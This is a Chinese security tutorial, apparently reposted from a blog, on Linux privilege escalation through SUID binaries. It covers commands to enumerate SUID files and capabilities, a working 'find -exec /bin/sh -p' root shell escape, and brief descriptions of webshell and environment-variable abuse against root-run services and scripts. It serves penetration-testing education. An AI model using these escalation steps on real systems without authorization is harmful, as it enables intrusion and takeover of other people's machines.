SUID 可执行文件提权

admin 2024年11月21日14:10:58SUID 可执行文件提权已关闭评论9 views字数 747阅读2分29秒阅读模式

# SUID

SUID可以让调用者以文件拥有者的身份运行该文件, 当在渗透过程中发现带有其他用户SUID权限的可执行文件服务或进程时,可以利用存在错误的权限配置获取其他用户或ROOT的权限

find / -user root -perm /4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -type f -name '*.txt' 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {}; > /tmp/suid
getcap -r / 2>/dev/null

1
2
3
4
5

SUID 可执行文件提权

创建新的用户 user1,使用 Root用户给 find命令加上 SUID权限,当登陆 user1 查看该命令时,可执行文件所有者为 Root,当 user1 调用该命令时,实际调用身份为 Root

user1@i-v0nrmv9j:~$ ls /usr/bin/find -all
-rwsr-xr-x 1 root root 199304 Oct 31  2018 /usr/bin/find

1
2

Linux 提权工具: https://gtfobins.github.io/

 

SUID 可执行文件提权

find . -exec /bin/sh -p \; -quit

1

SUID 可执行文件提权

# 服务相关提权

SUID权限与Web服务相关时, 这里以Root用户开启一个PHP Web服务器

SUID 可执行文件提权

SUID 可执行文件提权

这里的PHP Web服务由于是Root权限开启的进程,我们可以通过在该Web目录写入 Webshell 命令执行获取Root权限

SUID 可执行文件提权

# 利用变量提权

部分脚本中存在获取系统变量来执行时,如果变量可控且为SUID,我们就可以通过该脚本获取Root权限

SUID 可执行文件提权

这里简单编写了一个例子,使用 env 中的变量 cmd 来执行命令 /bin/sh 获取可交互 Shell (真实渗透中只需要注意SUID权限的可执行脚本是否有可控ENV变量)

SUID 可执行文件提权

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月21日14:10:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SUID 可执行文件提权https://cn-sec.com/archives/3397952.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.